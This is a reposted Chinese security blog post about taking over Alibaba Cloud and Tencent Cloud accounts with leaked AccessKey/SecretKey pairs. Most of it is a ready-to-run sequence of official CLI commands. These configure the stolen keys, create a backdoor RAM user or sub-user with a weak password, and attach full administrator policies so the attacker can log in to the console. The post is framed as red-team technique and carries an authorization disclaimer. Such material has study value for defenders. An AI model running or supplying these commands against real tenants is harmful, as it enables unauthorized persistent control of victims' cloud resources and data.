如何利用官方工具+ak,sk接管云平台

admin 2024年2月12日14:00:35评论8 views字数 1472阅读4分54秒阅读模式

如何通过ak,sk登录云平台

在云计算中,AK(Access Key)和SK(Secret Key)通常用于进行 API 调用,以便访问和管理云服务资源。这些密钥对于安全性至关重要,因为它们允许对云资源执行各种操作。如果泄露或不当使用,可能会导致严重的安全风险和数据泄露。
而在实战中,大部分文章基本是什么工具一把嗦嗦哈,看oss,rds,ecs,其实如果ak,sk权限过大,是可以创建子用户来登录云管的,说不定登进去就能接管域名,im服务等扩大攻防成果。

下面介绍腾讯云,阿里云的接管方式,其他云大差不差,看官方文档就能搞

阿里云

阿里云有一个ram账号,可以看看他的官方介绍

如何利用官方工具+ak,sk接管云平台

RAM用户由阿里云账号(主账号)或具有管理员权限的其他RAM用户,同时ram账号可以用ak,sk进行调用api创建
根据阿里云官方的命令行工具https://github.com/aliyun/aliyun-cli/blob/master/README-CN.md

配置 ak sk

./aliyun configure --profile akprofile

如何利用官方工具+ak,sk接管云平台

创建ram账号

查看别名
./aliyun ram GetAccountAlias
常见账号
./aliyun aliyun ram CreateUser --UserName SxfnbQaxsb2333
设置密码
./aliyun ram CreateLoginProfile --UserName SxfnbQaxsb2333 --Password 123456
设置权限
./aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName SxfnbQax**2333

创建好账号后,查看该云的别名

./aliyun ram GetAccountAlias 获取id放在域名后面

如何利用官方工具+ak,sk接管云平台

登录账号为
创建的用户@+别名+.onaliyun.com
然后就可以用这个账号正常登录阿里云,和你自己账号登录阿里云一样

如何利用官方工具+ak,sk接管云平台

腾讯云

腾讯云也一样,只不过叫法不同,腾讯云叫子用户,与阿里云不同的是,腾讯云登录子用户需要主账号id才可以

如何利用官方工具+ak,sk接管云平台

我们下载其官方命令行工具https://github.com/TencentCloud/tencentcloud-cli

查看命令行命令

获取主用户id
tccli cam GetUserAppId --cli-unfold-argument

如何利用官方工具+ak,sk接管云平台

如何利用官方工具+ak,sk接管云平台

创建子用户
tccli cam AddUser –cli-unfold-argument --Name Sxfnb2333 --Remark sxf --ConsoleLogin 1 --Password '123456' --NeedResetPassword 0
查询策略
tccli cam ListPolicies --cli-unfold-argument
给最高权限
tccli cam AttachUserPolicy --cli-unfold-argument --PolicyId 1 --AttachUin 100035117703
列出子用户
tccli cam ListUsers --cli-unfold-argument

创建好后然后去登录

如何利用官方工具+ak,sk接管云平台

文章来源:https://xz.aliyun.com/t/13538文章作者: penso****如有侵权,联系删除

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

 

原文始发于微信公众号(白帽子左一):如何利用官方工具+ak,sk接管云平台

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月12日14:00:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何利用官方工具+ak,sk接管云平台https://cn-sec.com/archives/2488516.html

发表评论

匿名网友 填写信息